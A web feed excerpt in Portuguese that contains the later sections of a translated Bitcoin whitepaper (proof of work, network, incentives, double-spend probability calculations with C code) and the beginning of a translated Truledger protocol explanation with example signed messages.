&lt;p>O problema, é claro, é que o beneficiário não pode verificar se um dos donos não gastou duas vezes a moeda. Uma solução comum é introduzir uma autoridade central confiável, que verifica todas as transações para gastos duplicados. Após cada transação, a moeda deve ser devolvida à casa da moeda para emitir uma nova moeda, e somente as moedas emitidas diretamente da casa da moeda são confiáveis para não serem gastas duas vezes. O problema com esta solução é que o destino de todo o sistema monetário depende da empresa que opera a casa da moeda, com cada transação tendo que passar por eles, assim como um banco.&lt;/p>
&lt;p>Precisamos de uma maneira de o beneficiário saber que os proprietários anteriores não assinaram nenhuma transação anterior. Para nossos propósitos, a primeira transação é a que conta, por isso não nos importamos com as tentativas posteriores de gastar duas vezes. A única maneira de confirmar a ausência de uma transação é estar ciente de todas as transações. No modelo baseado em hortelã, a casa da moeda estava ciente de todas as transações e decidiu qual delas chegava primeiro. Para conseguir isso sem uma parte confiável, as transações devem ser anunciadas publicamente [1] , e precisamos de um sistema para os participantes concordarem em um único histórico da ordem em que foram recebidos. O beneficiário precisa comprovar que, no momento de cada transação, a maioria dos nós concordou que foi a primeira recebida.&lt;/p>
&lt;h2 id="3-servidor-de-registro-de-datahora">3. Servidor de registro de data/hora&lt;/h2>
&lt;p>A solução que propomos começa com um servidor de timestamp. Um servidor de timestamp trabalha pegando um hash de um bloco de itens a ser timestamped e publicando amplamente o hash, como em um jornal ou post Usenet&lt;!-- raw HTML omitted -->&lt;a href="#fn2">[2-5]&lt;/a>
&lt;!-- raw HTML omitted -->. O timestamp prova que os dados devem ter existido no momento, obviamente, para entrar no hash. Cada timestamp inclui o timestamp anterior em seu hash, formando uma cadeia, com cada timestamp adicional reforçando os anteriores.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://nakamotoinstitute.org/static/img/bitcoin/timestamp-server.svg" loading="lazy"
/>
&lt;/p>
&lt;h2 id="4-prova-de-trabalho">4. Prova de trabalho&lt;/h2>
&lt;p>Para implementar um servidor de timestamp distribuído em uma base peer-to-peer, precisaremos usar um sistema de prova de trabalho semelhante ao Hashcash de Adam Back&lt;!-- raw HTML omitted -->&lt;a href="#fn6">[6]&lt;/a>
&lt;!-- raw HTML omitted --> , ao invés de postagens de jornal ou Usenet. A prova de trabalho envolve a verificação de um valor que, quando com hash, como no SHA-256, o hash começa com um número de bits zero. O trabalho médio necessário é exponencial no número de bits zero requerido e pode ser verificado pela execução de um único hash.&lt;/p>
&lt;p>Para nossa rede de registro de data e hora, implementamos a prova de trabalho incrementando um nonce no bloco até que seja encontrado um valor que forneça ao hash do bloco os bits zero necessários. Uma vez que o esforço da CPU tenha sido gasto para satisfazer a prova de trabalho, o bloco não pode ser alterado sem refazer o trabalho. Como os blocos posteriores são encadeados depois disso, o trabalho para mudar o bloco incluiria refazer todos os blocos depois dele.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://nakamotoinstitute.org/static/img/bitcoin/proof-of-work.svg" loading="lazy"
/>
&lt;/p>
&lt;p>A prova de trabalho também resolve o problema de determinar a representação na tomada de decisão por maioria. Se a maioria fosse baseada em um endereço IP, um voto, ele poderia ser subvertido por qualquer pessoa capaz de alocar muitos IPs. Prova de trabalho é essencialmente um CPU-um-voto. A decisão da maioria é representada pela cadeia mais longa, que tem o maior esforço de prova de trabalho investido nela. Se a maioria da potência da CPU for controlada por nós honestos, a cadeia honesta crescerá mais rápido e ultrapassará as cadeias concorrentes. Para modificar um bloco anterior, um invasor teria que refazer a prova de trabalho do bloco e todos os blocos após ele e, em seguida, alcançar e superar o trabalho dos nós honestos. Nós mostraremos mais tarde que a probabilidade de um atacante mais lento se aproximar diminui exponencialmente à medida que os blocos subseqüentes são adicionados.&lt;/p>
&lt;p>Para compensar o aumento da velocidade do hardware e o interesse variável em executar nós ao longo do tempo, a dificuldade de prova de trabalho é determinada por uma média móvel visando um número médio de blocos por hora. Se eles são gerados muito rápido, a dificuldade aumenta.&lt;/p>
&lt;h2 id="5-rede">5. Rede&lt;/h2>
&lt;p>As etapas para executar a rede são as seguintes:&lt;/p>
&lt;ol>
&lt;li>Novas transações são transmitidas para todos os nós.&lt;/li>
&lt;li>Cada nó coleta novas transações em um bloco.&lt;/li>
&lt;li>Cada nó trabalha para encontrar uma prova de trabalho difícil para o seu bloco.&lt;/li>
&lt;li>Quando um nó encontra uma prova de trabalho, ele transmite o bloco para todos os nós.&lt;/li>
&lt;li>Os nós aceitam o bloco somente se todas as transações nele forem válidas e já não tiverem sido gastas.&lt;/li>
&lt;li>Os nós expressam sua aceitação do bloco trabalhando na criação do próximo bloco da cadeia, usando o hash do bloco aceito como o hash anterior.&lt;/li>
&lt;/ol>
&lt;p>Os nós sempre consideram a cadeia mais longa a correta e continuarão trabalhando para estendê-la. Se dois nós transmitem versões diferentes do próximo bloco simultaneamente, alguns nós podem receber um ou outro primeiro. Nesse caso, eles trabalham no primeiro que receberam, mas salvam o outro ramo no caso dele se tornar mais longo. O empate será quebrado quando a próxima prova de trabalho for encontrada e uma ramificação ficar mais longa; os nós que estavam trabalhando na outra ramificação passarão para o mais longo.&lt;/p>
&lt;p>Novas transmissões de transmissões não precisam necessariamente atingir todos os nós. Contanto que eles atinjam muitos nós, eles entrarão em um bloco em pouco tempo. As transmissões de bloco também são tolerantes a mensagens descartadas. Se um nó não receber um bloco, ele o solicitará quando receber o próximo bloco e perceber que perdeu um.&lt;/p>
&lt;h2 id="6-incentivo">6. Incentivo&lt;/h2>
&lt;p>Por convenção, a primeira transação em um bloco é uma transação especial que inicia uma nova moeda pertencente ao criador do bloco. Isso adiciona um incentivo para que os nós suportem a rede e fornece uma maneira de distribuir moedas inicialmente em circulação, uma vez que não há autoridade central para emiti-las. A adição constante de uma constante de quantidade de novas moedas é análoga aos mineradores de ouro que gastam recursos para adicionar ouro à circulação. No nosso caso, é o tempo de CPU e a eletricidade que é gasta.&lt;/p>
&lt;p>O incentivo também pode ser financiado com taxas de transação. Se o valor de saída de uma transação for menor que seu valor de entrada, a diferença será uma taxa de transação que é adicionada ao valor de incentivo do bloco que contém a transação. Uma vez que um número predeterminado de moedas tenha entrado em circulação, o incentivo pode transitar inteiramente para as taxas de transação e ser completamente livre de inflação.&lt;/p>
&lt;p>O incentivo pode ajudar a encorajar os nós a permanecerem honestos. Se um atacante ganancioso é capaz de reunir mais poder de CPU do que todos os nós honestos, ele teria que escolher entre usá-lo para fraudar as pessoas, roubando seus pagamentos, ou usando-o para gerar novas moedas. Ele deveria achar mais lucrativo jogar de acordo com as regras, regras que o favorecem com mais moedas novas do que todos os demais, do que prejudicar o sistema e a validade de sua própria riqueza.&lt;/p>
&lt;h2 id="7-recuperando-espaço-em-disco">7. Recuperando espaço em disco&lt;/h2>
&lt;p>Depois que a transação mais recente em uma moeda é enterrada em blocos suficientes, as transações gastas antes dela podem ser descartadas para economizar espaço em disco. Para facilitar isso sem quebrar o hash do bloco, as transações são divididas em uma árvore Merkle &lt;!-- raw HTML omitted -->&lt;a href="#fn7">[7]&lt;/a>
&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;a href="#fn2">[2]&lt;/a>
&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;a href="#fn5">[5]&lt;/a>
&lt;!-- raw HTML omitted --> , com apenas a raiz incluída no hash do bloco. Blocos antigos podem então ser compactados arrancando galhos da árvore. Os hashes interiores não precisam ser armazenados.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://nakamotoinstitute.org/static/img/bitcoin/reclaiming-disk-space.svg" loading="lazy"
/>
&lt;/p>
&lt;p>Um cabeçalho de bloco sem transações seria de cerca de 80 bytes. Se supusermos que blocos são gerados a cada 10 minutos, 80 bytes * 6 * 24 * 365 = 4,2 MB por ano. Com os sistemas de computador vendendo normalmente com 2 GB de RAM a partir de 2008, e a Lei de Moore prevendo um crescimento atual de 1,2 GB por ano, o armazenamento não deve ser um problema, mesmo que os cabeçalhos dos blocos sejam mantidos na memória.&lt;/p>
&lt;h2 id="8-verificação-simplificada-de-pagamento">8. Verificação Simplificada de Pagamento&lt;/h2>
&lt;p>É possível verificar pagamentos sem executar um nó de rede completo. Um usuário só precisa manter uma cópia dos cabeçalhos de bloco da maior cadeia de prova de trabalho, o que ele pode fazer consultando os nós da rede até convencê-lo de ter a cadeia mais longa e obter a ramificação Merkle que vincula a transação ao bloco Ele não pode verificar a transação por si mesmo, mas ligando-a a um lugar na cadeia, ele pode ver que um nó de rede aceitou e bloqueou adicionado depois de confirmar que a rede aceitou a transação.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://nakamotoinstitute.org/static/img/bitcoin/simplified-payment-verification.svg" loading="lazy"
/>
&lt;/p>
&lt;p>Como tal, a verificação é confiável desde que os nós honestos controlem a rede, mas seja mais vulnerável se a rede for dominada por um invasor. Embora os nós de rede possam verificar as transações por conta própria, o método simplificado pode ser enganado pelas transações fabricadas por um invasor enquanto o invasor puder continuar a dominar a rede. Uma estratégia para proteger contra isso seria aceitar alertas de nós de rede quando detectarem um bloco inválido, solicitando que o software do usuário baixe o bloco inteiro e alertou as transações para confirmar a inconsistência. As empresas que recebem pagamentos freqüentes provavelmente ainda precisarão executar seus próprios nós para obter uma segurança mais independente e uma verificação mais rápida.&lt;/p>
&lt;h2 id="9-combinando-e-dividindo-valor">9. Combinando e dividindo valor&lt;/h2>
&lt;p>Embora fosse possível lidar com moedas individualmente, seria difícil fazer uma transação separada para cada centavo em uma transferência. Para permitir que o valor seja dividido e combinado, as transações contêm várias entradas e saídas. Normalmente, haverá uma única entrada de uma transação anterior maior ou várias entradas combinando quantidades menores e no máximo duas saídas: uma para o pagamento e outra retornando a alteração, se houver, de volta ao remetente.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://nakamotoinstitute.org/static/img/bitcoin/combining-splitting-value.svg" loading="lazy"
/>
&lt;/p>
&lt;p>Deve-se notar o espalhamento, onde uma transação depende de várias transações, e essas transações dependem de muito mais, não é um problema aqui. Nunca há a necessidade de extrair uma cópia autônoma completa do histórico de uma transação.&lt;/p>
&lt;h2 id="10-privacidade">10. Privacidade&lt;/h2>
&lt;p>O modelo bancário tradicional atinge um nível de privacidade ao limitar o acesso à informação às partes envolvidas e ao terceiro de confiança. A necessidade de anunciar todas as transações exclui publicamente esse método, mas a privacidade ainda pode ser mantida quebrando o fluxo de informações em outro lugar: mantendo as chaves públicas anônimas. O público pode ver que alguém está enviando uma quantia para outra pessoa, mas sem informações vinculando a transação a ninguém. Isso é semelhante ao nível de informações divulgadas pelas bolsas de valores, onde o tempo e o tamanho dos negócios individuais, a &amp;ldquo;fita&amp;rdquo;, são tornados públicos, mas sem dizer quem eram as partes.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://nakamotoinstitute.org/static/img/bitcoin/privacy.svg" loading="lazy"
/>
&lt;/p>
&lt;p>Como um firewall adicional, um novo par de chaves deve ser usado para cada transação para impedir que elas sejam vinculadas a um proprietário comum. Algumas ligações ainda são inevitáveis ​​com transações com múltiplos inputs, que necessariamente revelam que suas entradas eram de propriedade do mesmo proprietário. O risco é que, se o proprietário de uma chave for revelado, a vinculação poderá revelar outras transações pertencentes ao mesmo proprietário.&lt;/p>
&lt;h2 id="11-cálculos">11. Cálculos&lt;/h2>
&lt;p>Consideramos o cenário de um invasor tentando gerar uma cadeia alternativa mais rapidamente que a cadeia honesta. Mesmo que isso seja feito, ele não abre o sistema para mudanças arbitrárias, como a criação de valor a partir do nada ou a obtenção de dinheiro que nunca pertenceu ao invasor. Os nós não aceitarão uma transação inválida como pagamento e os nós honestos nunca aceitarão um bloco que os contenha. Um invasor só pode tentar alterar uma de suas transações para receber o dinheiro que gastou recentemente.&lt;/p>
&lt;p>A corrida entre a cadeia honesta e uma cadeia atacante pode ser caracterizada como uma Caminhada Aleatória Binomial. O evento de sucesso é a cadeia honesta sendo estendida por um bloco, aumentando sua liderança em +1, e o evento de falha é a cadeia do atacante sendo estendida por um bloco, reduzindo o intervalo em -1.&lt;/p>
&lt;p>A probabilidade de um atacante se recuperar de um dado déficit é análoga ao problema da Ruína do Jogador. Suponha que um jogador com crédito ilimitado comece com um déficit e jogue potencialmente um número infinito de tentativas para tentar alcançar o ponto de equilíbrio. Podemos calcular a probabilidade de ele chegar ao ponto de equilíbrio, ou de que um atacante alcança a cadeia honesta, como segue [8] :&lt;/p>
&lt;p>$$
\begin{eqnarray*}
\large p &amp;amp;=&amp;amp; \text{probabilidade de um nó honesto encontrar o próximo bloco} \
\large q &amp;amp;=&amp;amp; \text{probabilidade de um atacante encontrar o próximo bloco}\
\large q_z &amp;amp;=&amp;amp; \text{probabilidade que o atacante irá recuperar $z$ blocos}
\end{eqnarray*}
$$&lt;/p>
&lt;p>$$
\large q_z = \begin{Bmatrix}
1 &amp;amp; \textit{if}; p \leq q\
(q/p)^z &amp;amp; \textit{if}; p &amp;gt; q
\end{Bmatrix}
$$&lt;/p>
&lt;p>Considerando nossa suposição de que $p \gt q$, a probabilidade cai exponencialmente à medida que o número de bloqueios que o invasor tem para alcançar aumenta. Com as probabilidades contra ele, se ele não der um golpe de sorte para a frente logo no início, suas chances se tornam cada vez menores, já que ele fica ainda mais para trás.&lt;/p>
&lt;p>Consideramos agora quanto tempo o destinatário de uma nova transação precisa esperar antes de ter certeza de que o remetente não pode alterar a transação. Assumimos que o remetente é um invasor que quer fazer com que o destinatário acredite que ele o pagou por um tempo, depois o substitui para pagar a si mesmo após algum tempo. O receptor será alertado quando isso acontecer, mas o remetente espera que seja tarde demais.&lt;/p>
&lt;p>O receptor gera um novo par de chaves e fornece a chave pública ao remetente logo antes de assinar. Isso evita que o remetente prepare uma cadeia de blocos com antecedência, trabalhando nela continuamente até que tenha a sorte de chegar longe o suficiente e depois executar a transação naquele momento. Depois que a transação é enviada, o remetente desonesto começa a trabalhar em segredo em uma cadeia paralela contendo uma versão alternativa de sua transação.&lt;/p>
&lt;p>O destinatário aguarda até que a transação seja adicionada a um bloco e $z$ blocos foram ligados depois. Ele não sabe a quantidade exata de progresso que o invasor fez, mas supondo que os blocos honestos tenham demorado o tempo médio esperado por bloco, o progresso potencial do atacante será uma distribuição de Poisson com o valor esperado:&lt;/p>
&lt;p>$\large \lambda = z \frac qp$&lt;/p>
&lt;p>Para obter a probabilidade que o atacante ainda pode alcançar agora, multiplicamos a densidade de Poisson para cada quantidade de progresso que ele poderia ter feito pela probabilidade que ele poderia alcançar a partir desse ponto:&lt;/p>
&lt;p>$\large \sum_{k=0}^{\infty} \frac{\lambda^k e^{-\lambda}}{k!} \cdot \begin{Bmatrix} (q/p)^{(z-k)} &amp;amp; \textit{if};k\leq z\ 1 &amp;amp; \textit{if} ; k &amp;gt; z \end{Bmatrix}$&lt;/p>
&lt;p>Reorganizando para evitar somar a cauda infinita da distribuição &amp;hellip;&lt;/p>
&lt;p>$\large 1 - \sum_{k=0}^{z} \frac{\lambda^k e^{-\lambda}}{k!} \left ( 1-(q/p)^{(z-k)} \right )$&lt;/p>
&lt;p>Convertendo em código C&amp;hellip;&lt;/p>
&lt;pre tabindex="0">&lt;code>#include double AttackerSuccessProbability(double q, int z)
{
double p = 1.0 - q;
double lambda = z * (q / p);
double sum = 1.0;
int i, k;
for (k = 0; k &amp;lt;= z; k++)
{
double poisson = exp(-lambda);
for (i = 1; i &amp;lt;= k; i++)
poisson *= lambda / i;
sum -= poisson * (1 - pow(q / p, z - k));
}
return sum;
}
&lt;/code>&lt;/pre>&lt;p>Depois de alguns resultados, podemos ver a probabilidade cair exponencialmente com $z$.&lt;/p>
&lt;pre tabindex="0">&lt;code>q=0.1
z=0 P=1.0000000
z=1 P=0.2045873
z=2 P=0.0509779
z=3 P=0.0131722
z=4 P=0.0034552
z=5 P=0.0009137
z=6 P=0.0002428
z=7 P=0.0000647
z=8 P=0.0000173
z=9 P=0.0000046
z=10 P=0.0000012
&lt;/code>&lt;/pre>&lt;pre tabindex="0">&lt;code>q=0.3
z=0 P=1.0000000
z=5 P=0.1773523
z=10 P=0.0416605
z=15 P=0.0101008
z=20 P=0.0024804
z=25 P=0.0006132
z=30 P=0.0001522
z=35 P=0.0000379
z=40 P=0.0000095
z=45 P=0.0000024
z=50 P=0.0000006
&lt;/code>&lt;/pre>&lt;p>Resolvendo para P menores que 0.1%&amp;hellip;&lt;/p>
&lt;pre tabindex="0">&lt;code>P &amp;lt; 0.001
q=0.10 z=5
q=0.15 z=8
q=0.20 z=11
q=0.25 z=15
q=0.30 z=24
q=0.35 z=41
q=0.40 z=89
q=0.45 z=340
&lt;/code>&lt;/pre>&lt;h2 id="12-conclusão">12. Conclusão&lt;/h2>
&lt;p>Propusemos um sistema para transações eletrônicas sem depender da confiança. Começamos com a estrutura usual de moedas feitas a partir de assinaturas digitais, que fornece um forte controle de propriedade, mas é incompleta sem uma maneira de evitar o gasto duplo. Para resolver isso, propusemos uma rede peer-to-peer usando prova de trabalho para registrar um histórico público de transações que rapidamente se torna impraticável para um invasor mudar se os nós honestos controlarem a maior parte da energia da CPU. A rede é robusta em sua simplicidade não estruturada. Os nós trabalham todos de uma vez com pouca coordenação. Eles não precisam ser identificados, pois as mensagens não são roteadas para nenhum lugar específico e precisam ser entregues apenas com base no melhor esforço. Os nós podem sair e se juntar à rede à vontade, aceitando a cadeia de prova de trabalho como prova do que aconteceu enquanto estiveram fora. Eles votam com seu poder de CPU, expressando sua aceitação de blocos válidos trabalhando em estendê-los e rejeitando blocos inválidos, recusando-se a trabalhar neles. Quaisquer regras e incentivos necessários podem ser aplicados com este mecanismo de consenso.&lt;/p>
&lt;h2 id="referências">Referências&lt;/h2>
&lt;ol>
&lt;li>
&lt;p>W. Dai, &lt;a href="http://nakamotoinstitute.org/b-money/" target="_blank" rel="noopener noreferrer">&amp;ldquo;b-money,&amp;rdquo;&lt;/a>
&lt;a href="http://www.weidai.com/bmoney.txt" target="_blank" rel="noopener noreferrer">http://www.weidai.com/bmoney.txt&lt;/a>
, 1998. &lt;a href="#ref1" title="Jump back to [1]">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>H. Massias, X.S. Avila, and J.-J. Quisquater, &lt;a href="http://nakamotoinstitute.org/secure-timestamping-service.pdf" target="_blank" rel="noopener noreferrer">&amp;ldquo;Design of a secure timestamping service with minimal trust requirements,&amp;rdquo;&lt;/a>
In &lt;em>20th Symposium on Information Theory in the Benelux&lt;/em>, May 1999. &lt;a href="#ref2" title="Jump back to [2-5]">↩&lt;/a>
 &lt;a href="#ref2-2" title="Jump back to [2]">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>S. Haber, W.S. Stornetta, &lt;a href="http://nakamotoinstitute.org/time-stamp-digital-document.pdf" target="_blank" rel="noopener noreferrer">&amp;ldquo;How to time-stamp a digital document,&amp;rdquo;&lt;/a>
In &lt;em>Journal of Cryptology&lt;/em>, vol 3, no 2, pages 99-111, 1991. &lt;a href="#ref2" title="Jump back to [2-5]">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>D. Bayer, S. Haber, W.S. Stornetta, &lt;a href="http://nakamotoinstitute.org/improving-time-stamping.pdf" target="_blank" rel="noopener noreferrer">&amp;ldquo;Improving the efficiency and reliability of digital time-stamping,&amp;rdquo;&lt;/a>
In &lt;em>Sequences II: Methods in Communication, Security and Computer Science&lt;/em>, pages 329-334, 1993. &lt;a href="#ref2" title="Jump back to [2-5]">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>S. Haber, W.S. Stornetta, &lt;a href="http://nakamotoinstitute.org/secure-names-bit-strings.pdf" target="_blank" rel="noopener noreferrer">&amp;ldquo;Secure names for bit-strings,&amp;rdquo;&lt;/a>
In &lt;em>Proceedings of the 4th ACM Conference on Computer and Communications Security&lt;/em>, pages 28-35, April 1997. &lt;a href="#ref2" title="Jump back to [2-5]">↩&lt;/a>
 &lt;a href="#ref5" title="Jump back to [5]">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>A. Back, &lt;a href="http://nakamotoinstitute.org/hashcash.pdf" target="_blank" rel="noopener noreferrer">&amp;ldquo;Hashcash - a denial of service counter-measure,&amp;rdquo;&lt;/a>
&lt;a href="http://www.hashcash.org/papers/hashcash.pdf" target="_blank" rel="noopener noreferrer">http://www.hashcash.org/papers/hashcash.pdf&lt;/a>
, 2002. &lt;a href="#ref6" title="Jump back to [6]">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>R.C. Merkle, &lt;a href="http://nakamotoinstitute.org/public-key-cryptosystems.pdf" target="_blank" rel="noopener noreferrer">&amp;ldquo;Protocols for public key cryptosystems,&amp;rdquo;&lt;/a>
In &lt;em>Proc. 1980 Symposium on Security and Privacy&lt;/em>, IEEE Computer Society, pages 122-133, April 1980. &lt;a href="#ref7" title="Jump back to [7]">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>W. Feller, &lt;a href="http://nakamotoinstitute.org/introduction-probability-theory-vol-i.pdf" target="_blank" rel="noopener noreferrer">&amp;ldquo;An introduction to probability theory and its applications,&amp;rdquo;&lt;/a>
1957. &lt;a href="#ref8" title="Jump back to [8]">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://bitcoin.org/bitcoin.pdf" target="_blank" rel="noopener noreferrer">https://bitcoin.org/bitcoin.pdf&lt;/a>
&lt;/p></content:encoded></item><item><title>Truledger</title><link>https://cypherpunks.com.br/documentos/truledger/</link><pubDate>Tue, 01 Jan 2008 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/truledger/</guid><description>Truledger é um cofre e um sistema de negociação anônimo digitalmente assinado. Assim como Loom, ele permite que qualquer pessoa publique ativos (moedas digitais). Ao contrário do Loom, que se baseia inteiramente em uma (muito boa) obscuridade para segurança, as assinaturas digitais da Truledger permitem que o servidor e o cliente …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Matheus Bach
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="bill-st-clair">Bill St. Clair&lt;/h2>
&lt;h6 id="2008">2008&lt;/h6>
&lt;p>&lt;/p>
&lt;p>&lt;a href="http://truledger.com/" target="_blank" rel="noopener noreferrer">Truledger&lt;/a>
é um cofre e um sistema de negociação anônimo digitalmente assinado. Assim como &lt;a href="https://loom.cc/" target="_blank" rel="noopener noreferrer">Loom&lt;/a>
, ele permite que qualquer pessoa publique ativos (moedas digitais). Ao contrário do Loom, que se baseia inteiramente em uma (muito boa) obscuridade para segurança, as assinaturas digitais da Truledger permitem que o servidor e o cliente comprovem entre si que concordaram com seus respectivos saldos em um determinado momento. Isso é feito enquanto permite a destruição do histórico de transações de negociações concluídas. O Truledger fornecerá inicialmente negociação baseada em servidor. Eventualmente, fornecerá contas digitais e certificados ao titular. No entanto, estes exigirão armazenamento permanente do histórico de transações (a menos que expirem).&lt;/p>
&lt;p>&lt;a href="http://truledger.com/doc/db.txt" target="_blank" rel="noopener noreferrer">doc/db.txt&lt;/a>
fornece uma descrição concisa do banco de dados e do protocolo do servidor Truledger. Esta página tenta apresentar o protocolo em inglês puro.&lt;/p>
&lt;p>O Truledger usa criptografia de chave pública para assinar todas as mensagens passadas entre sua interface da web e o servidor Truledger. As assinaturas digitais são uma maneira praticamente infalsificável de garantir que uma mensagem tenha sido escrita por seu suposto autor. O Truledger usa OpenSSL para sua criptografia de chave pública. Você provavelmente usa OpenSSL toda vez que visita um site seguro, &lt;a href="https://qualquersitecomhttps.com/" target="_blank" rel="noopener noreferrer">https://qualquersitecomhttps.com/&lt;/a>
, assim como o servidor da web. Eu não fiz sozinho. Acabei de usar a mesma tecnologia comprovada e segura que protege a web. Você pode ler mais sobre criptografia de chave pública, assinaturas digitais e hash &lt;a href="http://en.wikipedia.org/wiki/Public-key_cryptography" target="_blank" rel="noopener noreferrer">aqui&lt;/a>
e &lt;a href="http://www.pgpi.org/doc/pgpintro/" target="_blank" rel="noopener noreferrer">aqui&lt;/a>
.&lt;/p>
&lt;p>Vou usar quatro atores nos cenários a seguir. &amp;ldquo;Servidor&amp;rdquo; é o nome do servidor Truledger. &amp;ldquo;Bob&amp;rdquo; e &amp;ldquo;Sue&amp;rdquo; são dois clientes, que negociarão entre si. &amp;ldquo;Spammer&amp;rdquo; é um terceiro cliente, desconhecido por Bob ou Sue.&lt;/p>
&lt;h3 id="cenário-abrindo-uma-conta">Cenário: Abrindo uma Conta&lt;/h3>
&lt;p>Sue (via e-mail ou mensagem instantânea): Eai, Bob. Dê uma olhada na Truledger. Vá para Truledger.com, faça o download do client e instale-o no seu computador. Em seguida, crie uma chave privada e me envie seu ID, e eu darei alguns tokens de uso para que você possa criar uma conta.&lt;/p>
&lt;p>Bob (via e-mail ou mensagem instantânea): Obrigado, Sue! Instalei o client Truledger e criei uma chave privada. Aqui está o meu ID.&lt;/p>
&lt;p>Sue (através do client Truledger): Ei, Servidor, aqui está uma nova solicitação. Dê-me um número de transação, por favor. Assinado: Sue&lt;/p>
&lt;p>Servidor: aqui está um novo número de transação.
Assinado: Servidor&lt;/p>
&lt;p>Sue: Ei, Servidor, aqui está o número da transação que você me deu. Por favor, gaste 50 tokens de uso no ID de Bob, com uma mensagem de &amp;ldquo;Hey Bob. Bem-vindo ao Truledger!&amp;rdquo; Pago 2 tokens de uso como taxa de transação, que retornarei quando Bob aceitar o pagamento. Meu saldo após esta transação será 1025 tokens de uso. O hash da minha caixa de saída após esta transação será X.
Assinado: Sue&lt;/p>
&lt;p>Servidor: processei seu gasto de 50 tokens de uso no ID de Bob. Concordo que a taxa de transação no momento desta transação seja 2 tokens de uso e que seu saldo após esta transação seja 1025 tokens de uso. Concordo com você no seu hash da caixa de saída.
Assinado: Servidor&lt;/p>
&lt;p>Sue (via e-mail ou mensagem instantânea): OK, Bob. Dei 50 tokens de uso para você. Agora você pode criar uma conta no Truledger.com. Envie-me uma mensagem via Truledger quando você se registrar.&lt;/p>
&lt;p>Bob (via seu cliente Truledger): Olá Servidor. Aqui está meu ID e minha chave pública. Qual é o seu ID e chave pública?
Assinado: Bob&lt;/p>
&lt;p>Servidor: aqui está minha identificação (ID) e chave pública.
Assinado: Servidor&lt;/p>
&lt;p>Bob: Aqui está meu ID e minha chave pública, por favor crie uma conta para mim.
Assinado: Bob&lt;/p>
&lt;p>Servidor: registrei seu ID e chave pública. Alguém lhe deu fichas suficientes para se registrar. Bem-vindo ao Truledger.
Assinado: Servidor&lt;/p>
&lt;hr>
&lt;p>Para assinar uma mensagem, você precisa ter uma chave privada. Para verificar a assinatura em uma mensagem, você precisa ter a chave pública correspondente. O Truledger identifica os clientes pelo hash de sua chave pública, seu ID. O ID é uma sequência 40 caracteres formados de numeros letras de A a F, ou seja, uma representação hexadecimal de um número de 160 bits. Você identifica sua conta para o cliente do Truledger com uma senha, usada para criptografar sua chave privada no seu disco. Você só precisará copiar e colar seu ID quando desejar informar a um parceiro comercial como lhe enviar dinheiro pela primeira vez ou semear sua conta com tokens de uso, como Sue fez para Bob.&lt;/p>
&lt;p>Os tokens de uso são uma ideia do sistema &lt;a href="https://loom.cc/" target="_blank" rel="noopener noreferrer">Loom&lt;/a>
de Patrick Chkoreff. Eles são uma maneira de cobrar pelos recursos do servidor. Você precisa comprar armazenamento para os saldos da sua conta e conceder armazenamento temporário para transações. Os tokens de uso são a &amp;ldquo;moeda&amp;rdquo; usada para fazer isso. O Truledger também suporta taxas em outros tipos de ativos, para gerenciamento de servidores que desejam ganhar mais do que a venda de tokens de uso. O Truledger usa o sistema de arquivos como um banco de dados. Um arquivo no banco de dados do Truledger custa um token de uso. Os arquivos variam em tamanho, mas geralmente têm cerca de 8K,principalmente assinaturas.&lt;/p>
&lt;p>Perceba que Bob precisou enviar sua chave pública para o servidor duas vezes, uma vez quando solicitou a chave pública do servidor e outra vez quando se registrou. Toda mensagem enviada para e de Truledger é assinada digitalmente. Só é possível verificar uma assinatura digital se você souber a chave pública do assinante. A chave pública de um novo cliente não está no banco de dados até depois do registro, portanto, as duas primeiras mensagens, nas quais o novo cliente obtém a chave pública do servidor, precisam incluir a chave pública do cliente, para que ele possa verificar as assinaturas do servidor e a solicitação de registro nestas dus mensagens. Após a conclusão do registro, as mensagens subseqüentes precisam levar apenas o ID; a chave pública pode ser procurada no banco de dados.&lt;/p>
&lt;p>Mensagens reais enviadas (com a assinatura que acompanha cada item omitido entre parênteses):&lt;/p>
&lt;pre tabindex="0">&lt;code>Sue: (&amp;lt;suesid&amp;gt;,gettime,&amp;lt;servidorid&amp;gt;,&amp;lt;req#&amp;gt;)
Servidor: (&amp;lt;servidorid&amp;gt;,time,&amp;lt;suesid&amp;gt;,&amp;lt;time#&amp;gt;)
Sue: (&amp;lt;suesid&amp;gt;,spend,&amp;lt;servidorid&amp;gt;,&amp;lt;time#&amp;gt;,&amp;lt;bobsid&amp;gt;,&amp;lt;tokenid&amp;gt;,50,Hey Bob\. Bem-vindo ao Truledger!).
(&amp;lt;suesid&amp;gt;,tranfee,&amp;lt;servidorid&amp;gt;,&amp;lt;time#&amp;gt;,&amp;lt;tokenid&amp;gt;,2).
(&amp;lt;suesid&amp;gt;,balance,&amp;lt;servidorid&amp;gt;,&amp;lt;time#&amp;gt;,&amp;lt;tokenid&amp;gt;,1025).
(&amp;lt;suesid&amp;gt;,outboxhash,&amp;lt;servidorid&amp;gt;,&amp;lt;time#&amp;gt;,X)
